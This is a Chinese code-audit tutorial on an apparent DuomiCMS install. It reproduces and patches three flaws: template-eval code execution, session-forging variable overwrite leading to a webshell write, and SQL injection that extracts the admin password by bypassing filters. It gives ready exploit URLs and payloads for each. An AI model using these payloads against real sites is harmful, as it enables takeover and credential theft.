代码审计实战

 

程序流程

按照个人的习惯,先走一下程序的流程,它有几点好处,
1、可以快速浏览完系统运行的代码顺序、
2、了解系统各文件功能、
3、了解系统整个目录的分布情况。

很明显,首页加载了common.inc.php,这个文件的存在与否,定性了系统是否是安装过的,当然还有其他的判断条件,这仅仅是初步判断安装的状态,这个文件是安装过程生成的MySQL的配置文件,其次还加载了common.php文件,core.class.php文件,定义了网站状态、检查了Ip配置,调用了index方法,输出了首页内容。下面介绍下另外的一个文件、common.php

文件描述:文件加载了webscan.php文件、定义了系统路径、加载了common.func.php文件、执行了外部参数过滤转义,加载了数据库类【sql.class.php】,图片类【image.class.php】、计划任务类等。

注意三个重点:

1、外部变量的检测和转义
2、webscan.php文件【做了二次过滤后续分析】
3、sql.class.php文件【数据库操作文件,做了SQL语句完整性校验】

这张图就是对外界参数的整体过滤!从上面函数可以看出来,键值对的键不能是cfg_和GLOBALS的字样,并且使用了addslashes的转义,但是如果cookie里有cfg_和GLOBALS的设置,就可以绕过这两个的限制,下面分析webscan.php

过滤的规则是黑客常用的函数、union、load_file、sleep、concat、group_xxx、js的事件函数防止xss的一些规则,下面分析sql.class.php文件

Sql.class.php这一小节,校验了敏感函数,这些函数一般为黑客常用的函数,所以这里做了验证

Sql.class.php这一小节,通过匹配单引号的位置,对SQL语句进行了重装,整体替换完的效果是,把单引号包裹的部分,用$s$这样的字符串进行替换。并保存在$clean的变量中,后面在SQL注入中会有所体现。到此,我们流程算是走完了,其他加载的文件,就不做重要分析了,下面我们进行漏洞复现和修复。

 

代码执行

通过全局的搜索eval函数,我们找到项目中所包含该函数的文件,core.class.php。在该文件中,有两个方法包含了eval的使用,一个是上图中parseIf的方法,一个是parseSubIf方法,后面的方法是通过前面的方法调用的,所以我们这里就只分析parseIf方法,这个方法简单分析下,程序中定义了三个正则,1、{if:(.?)}(.?){end if}。2、{elseif。3、{else},通过preg_match_all函数,用第一个表达式的匹配,结果赋值给$iar的变量,这是含有三个单元的二维数组,后续通过替换,完成对模板的解析过程,分析完过程,然后通过猜想,这是对前台模板解析if标签使用的方法,项目全局搜索该方法的调用位置,就可以找到search.php的文件,其他文件也有,选这个是因为这个文件被搞了。下面来分析这个文件。

这个文件包含三处关键点:

1、程序在接受搜索关键词参数的时候,检测了xss,限制了字符串的长度为20。
2、程序使用接受的参数,替换了模板中的{searchpage:page}的字符。
3、调用了parseIf的方法,完成了代码执行的结果。

值的注意的是,payload只能用{if:这样的字符,上一图对这个有判断。Example:{if:phpinfo()},所以到这里我们可以断定,除去固有的字符外,程序只允许我们执行15个字节的payload。然后比较好的,你不用写shell,就可以直接得到shell,这个地方有点像是变形的一句话木马。url:search.php?searchword={if:eval($_POST[x])}

修复方式:过滤括号

$svar = str_replace(array(‘(‘,’)’,'[‘,’]’,'{‘,’}’),array(”,”,”,”,”,”),$svar);

变量覆盖

foreach(Array(‘_GET’,’_POST’,’_COOKIE’) as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

在程序流程分析中,提到了,common.php的文件,有一段对外部变量全局过滤的处理,讲述了它的过滤处理规则,简单回顾下,做了addslashes转义,和cfg_|GLOBALS这两个特殊键名,结合cookie做了限制,现在这几行代码,就是调用的起点,对get/post/cookie做了过滤,这里的$_k是可以控制的,所以这里存在变量覆盖。这里变量覆盖,结合文件写入可以获取webshell。下面我们寻找文件写入的代码。

通过全局搜索项目,关键词可以file_put_contents()/fwrite()这样常规的文件操作函数,搜索结果,可以通过简单的扫一眼上下文,看哪个文件好搞,限制比较小,对比后,选择比较容易受控制的admin_ping.php,从过上面的代码,可以很容易判断出来,这是个薄弱点。我们访问这个文件,将action这个参数赋值set,weburl可以设置成一句话,——";eval($_POST[x]);//。token的值随便设置了,因为后面给注释掉了。

访问URL:/admin/admin_ping.php?action=set

不出意外,会有登录的验证,我们需要分析这个验证规则,首先通过admin.ping.php文件上部有个文件引入,加载了config.php。这个文件,验证了登录状态,验证规则就是获取登录用户的id,如果不是-1就通过验证,下面来看看这个id是怎么样获得的。

跟进代码,我们可以看到这个id是session里的duomi_admin_id这个键对应的值,这样我们就可以结合前面变量覆盖,完成session的赋值,逃过登录验证。

要想对session赋值,我们需要先找一些开启 session_start 函数的程序来辅助我们伪造身份,我们这里就选择 member/share.php 文件。这里赋的值,是根据正常登录后,获取的正确id值。为防止不必要的麻烦,这里把check.admin.php类里面的用户所有属性都赋值了。一劳永逸!

URL:/member/share.php?_SESSION[duomi_user_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1

绕过了身份验证,然后掉过头来,开心的写一句木马。需要注意的是,payload是被包裹在双引号里面的,所以要在开头,加个双引号和分号做闭合,然后写入一句话,注释掉后面的代码。这个漏洞,修补的方式验证session的赋值。if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS|_SESSION)',$_k) )

 

Sql注入

SQL注入,直接看存在的漏洞文件,这个文件参数,有id/score/uid,分析这三个参数,第一参数id、在文件的上部做了数据类型的验证,pass掉,第二个参数score,这个参数是在SQL语句的中间部分,需要结合注释符进行注入,但是前面在说流程的时候,系统过滤了注释符,所以这里也pass。最后一个uid。这个参数在SQL语句的最后,并且没有做类型判断转换,没有单引号、双引号的包裹,所以这里是最好的利用点。

我们直接访问这个方法,讲uid加上点引号做下测试。访问:

加单引号。直接报错,这样单引号被带入执行了运算。这边没有回显,在sql.class.php文件中,又过滤了常用的union,sleep,select子句,还有注释符。所以这里要出成果需要绕绕路。

知识点扩充

注释

1、–+空格
2、#
3、/*!数字 xxxxx*/ 第一位是主版本号,第二位是0,剩余是次版本号,大于这 个数字没回显

字段表示

1、column=xxx[正常表示]
2、`任意符号`.“.column=xxx

显错注入

extractvalue(‘anything’【目标xml文档】,concat【xml路径】)能查询字符串的 最大长度为32
updatexml(‘anything’【目标xml文档】,concat【xml路径】,’anything’【更新的内容】)
concat(‘str1【0x7e|0x3A】’,’str2【查询数据库的语句】’)
concat_ws(‘str1【连接符0x7e|0x3A】’,’str2【0x7e|0x3A】’,’str3【查询数据库的语句】’)
group_concat(column)函数返回一个字符串结果。

通过上面的payload,这样就获得了SQL的版本号,如果要获取其他的信息,只需要改动version()这个为的SQL语句即可【理论值】。比如说,获取admin的密码,就可以写成下面的select语句。url:duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(0x7e,0x7e,(select password from duomi_admin where id=1)))

显然不对,程序给拦截了,因为这里有websan.php的正则匹配,上面说流程的时候说了这个点,上面这个是具体的细节,这个正则有点长,通过写的SQL语句,可以快速的分析,应该是倒数第二行正好匹配了,满足了要求,就给拦截了请求,这你需要细心的分析下,这一行表达了什么意思,大致意思是select+空格+任意字符+空格+from+空格+一位除换行符以外的任意字符,所以绕过这个地方的方法,就是减少一处查询字段左右两边的空格,如果两个空格都去掉,就被后面的匹配到。然后我们调整后看结果。

显然不对,程序还是给拦截了,因为这里有sql.class.php的正则匹配,上面说流程的时候说了这个点,上面这个是具体的细节,这个正则大致意思是(select,所以绕过这个地方的方法,最初想的是去除payload中的左括号,变成url:duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(0x7e,0x7e,select password from duomi_admin where id=1)),但是还是能匹配的到,因为extractvalue这个函数还有个左括号,所以去括号的路线丢弃了,就有了后来的'..vid这种字段的表示方式,它的诞生是为了利用上面流程中说到的这段代码,简单一回顾。有了单引号替换以后,就可以绕过这个限制了。修改为duomiphp/ajax.php?action=addfav&id=1&uid=1 and `'`..vid and extractvalue(1,concat_ws(0x7e,0x7e,(selectname from duomi_admin where id =1))) and '.“.vid

到这里就完成了SQL注入的过程。那么怎么打补丁呢。

1、把这个参数强转成数字。
2、加上引号

至此就完成了整个漏洞的复现和修复。

(完)